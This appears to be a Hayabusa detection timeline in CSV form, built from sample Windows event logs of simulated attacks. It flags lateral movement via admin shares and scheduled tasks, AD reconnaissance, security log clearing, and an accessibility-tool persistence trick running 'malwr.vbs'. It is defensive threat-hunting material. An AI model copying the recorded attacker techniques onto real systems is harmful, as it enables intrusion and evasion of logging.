10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:10.053 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\wodCmdTerm.exe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:10.053 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\ui\SwDRM.dll : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:10.063 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\wodCmdTerm.exe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-19 07:15:36.036 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: WIN-77LTAPHIQ1R$ : Workstation: : IP Address: fe80::79bf:8ee2:433c:2567 : Port: 55585 : LogonID: 0x10fac2,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMI_4624_4688_TargetHost.evtx +2019-03-19 07:15:49.583 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: Administrator : Workstation: : IP Address: 10.0.2.17 : Port: 49244 : LogonID: 0x10fbcc,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMI_4624_4688_TargetHost.evtx +2019-03-19 07:15:49.614 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: Administrator : Workstation: : IP Address: 10.0.2.17 : Port: 49249 : LogonID: 0x10fbeb,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMI_4624_4688_TargetHost.evtx +2019-03-19 07:15:49.614 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: Administrator : Workstation: PC01 : IP Address: 10.0.2.17 : Port: 49249 : LogonID: 0x10fc09,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMI_4624_4688_TargetHost.evtx +2019-03-19 07:15:49.692 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: user01 : Workstation: : IP Address: 10.0.2.17 : Port: 49249 : LogonID: 0x110085,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMI_4624_4688_TargetHost.evtx +2019-03-19 08:23:37.147 +09:00,WIN-77LTAPHIQ1R.example.corp,1102,high,Security log was cleared,User: administrator,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:43.570 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: WIN-77LTAPHIQ1R$ : Workstation: : IP Address: fe80::79bf:8ee2:433c:2567 : Port: 55872 : LogonID: 0x15e162,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:52.491 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: user01 : Workstation: : IP Address: 10.0.2.17 : Port: 49222 : LogonID: 0x15e1a7,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:52.507 +09:00,WIN-77LTAPHIQ1R.example.corp,5140,informational,Network Share Access,User: user01 : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:52.522 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:52.522 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,Reconnaissance Activity,,rules/sigma/builtin/security/win_susp_net_recon_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:52.538 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:52.538 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,Reconnaissance Activity,,rules/sigma/builtin/security/win_susp_net_recon_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:57.397 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: WIN-77LTAPHIQ1R$ : Workstation: : IP Address: fe80::79bf:8ee2:433c:2567 : Port: 55873 : LogonID: 0x15e25f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:57.397 +09:00,WIN-77LTAPHIQ1R.example.corp,5140,informational,Network Share Access,User: WIN-77LTAPHIQ1R$ : Share Name: \\*\SYSVOL : Share Path: \??\C:\Windows\SYSVOL\sysvol : IP Address: fe80::79bf:8ee2:433c:2567,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:07.601 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:07.601 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,Reconnaissance Activity,,rules/sigma/builtin/security/win_susp_net_recon_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:11.413 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:11.413 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,Reconnaissance Activity,,rules/sigma/builtin/security/win_susp_net_recon_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:11.741 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:11.741 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,Reconnaissance Activity,,rules/sigma/builtin/security/win_susp_net_recon_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:15.647 +09:00,WIN-77LTAPHIQ1R.example.corp,4776,informational,NTLM Logon to Local Account,User: Administrator : Workstation WIN-77LTAPHIQ1R : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:15.662 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:15.662 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,Reconnaissance Activity,,rules/sigma/builtin/security/win_susp_net_recon_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 09:02:00.383 +09:00,WIN-77LTAPHIQ1R.example.corp,1102,high,Security log was cleared,User: administrator,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.179 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: ANONYMOUS LOGON : Workstation: NULL : IP Address: 10.0.2.17 : Port: 49236 : LogonID: 0x17e29a,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.210 +09:00,WIN-77LTAPHIQ1R.example.corp,4776,informational,NTLM Logon to Local Account,User: administrator : Workstation : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.210 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: Administrator : Workstation: : IP Address: 10.0.2.17 : Port: 49236 : LogonID: 0x17e2aa,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.210 +09:00,WIN-77LTAPHIQ1R.example.corp,4672,informational,Admin Logon,User: Administrator : LogonID: 0x17e2aa,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.226 +09:00,WIN-77LTAPHIQ1R.example.corp,4776,informational,NTLM Logon to Local Account,User: administrator : Workstation : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.226 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: Administrator : Workstation: : IP Address: 10.0.2.17 : Port: 49237 : LogonID: 0x17e2c0,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.226 +09:00,WIN-77LTAPHIQ1R.example.corp,5140,informational,Network Share Access,User: Administrator : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.226 +09:00,WIN-77LTAPHIQ1R.example.corp,4672,informational,Admin Logon,User: Administrator : LogonID: 0x17e2c0,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.257 +09:00,WIN-77LTAPHIQ1R.example.corp,4776,informational,NTLM Logon to Local Account,User: administrator : Workstation : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.257 +09:00,WIN-77LTAPHIQ1R.example.corp,4672,informational,Admin Logon,User: Administrator : LogonID: 0x17e2d2,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.319 +09:00,-,-,low,Rare Schtasks Creations,[condition] count() by TaskName < 5 in timeframe [result] count:2 TaskName:\\CYAlyNSS timeframe:7d,rules/sigma/builtin/security/win_rare_schtasks_creations.yml,- +2019-03-19 09:02:04.351 +09:00,WIN-77LTAPHIQ1R.example.corp,4699,medium,Scheduled Task Deletion,,rules/sigma/builtin/security/win_scheduled_task_deletion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/temp_scheduled_task_4698_4699.evtx +2019-03-19 09:02:04.351 +09:00,WIN-77LTAPHIQ1R.example.corp,4699,medium,Scheduled Task Deletion,,rules/sigma/builtin/security/win_scheduled_task_deletion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.367 +09:00,WIN-77LTAPHIQ1R.example.corp,5140,informational,Network Share Access,User: Administrator : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.398 +09:00,WIN-77LTAPHIQ1R.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\CYAlyNSS.tmp : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.398 +09:00,WIN-77LTAPHIQ1R.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\CYAlyNSS.tmp : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:07.430 +09:00,WIN-77LTAPHIQ1R.example.corp,5140,informational,Network Share Access,User: Administrator : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:07.445 +09:00,WIN-77LTAPHIQ1R.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\CYAlyNSS.tmp : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:07.508 +09:00,WIN-77LTAPHIQ1R.example.corp,5140,informational,Network Share Access,User: Administrator : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:07.523 +09:00,WIN-77LTAPHIQ1R.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\CYAlyNSS.tmp : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:16.835 +09:00,WIN-77LTAPHIQ1R.example.corp,4776,informational,NTLM Logon to Local Account,User: Administrator : Workstation WIN-77LTAPHIQ1R : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:17.117 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:17.117 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,Reconnaissance Activity,,rules/sigma/builtin/security/win_susp_net_recon_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:21.929 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: WIN-77LTAPHIQ1R$ : Workstation: : IP Address: fe80::79bf:8ee2:433c:2567 : Port: 56034 : LogonID: 0x18423d,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-20 02:22:24.761 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:22:24.851 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:22:24.901 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:22:40.373 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:26:03.585 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:26:05.628 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\slui.exe -Embedding : Path: C:\Windows\System32\slui.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:31:03.687 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:36:03.788 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:41:03.890 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:41:08.777 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:41:08.967 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\cmd.EXE /c malwr.vbs : Path: C:\Windows\System32\cmd.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:41:08.977 +09:00,PC01.example.corp,1,informational,Process Creation,Command: gpscript.exe /Logoff : Path: C:\Windows\System32\gpscript.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k GPSvcGroup,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:41:09.828 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x1 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 02:42:05.859 +09:00,PC01.example.corp,1,informational,Process Creation,Command: taskhost.exe C:\Windows\system32\CompatTelRunner.exe : Path: C:\Windows\System32\taskhost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.238 +09:00,PC01.example.corp,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 00000000 0000003c : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.458 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.699 +09:00,PC01.example.corp,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 00000001 0000003c : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.719 +09:00,PC01.example.corp,1,informational,Process Creation,Command: wininit.exe : Path: C:\Windows\System32\wininit.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.759 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000001 0000003c ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.909 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\services.exe : Path: C:\Windows\System32\services.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.909 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\lsass.exe : Path: C:\Windows\System32\lsass.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.919 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\lsm.exe : Path: C:\Windows\System32\lsm.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:11.929 +09:00,PC01.example.corp,1,informational,Process Creation,Command: winlogon.exe : Path: C:\Windows\System32\winlogon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000001 0000003c 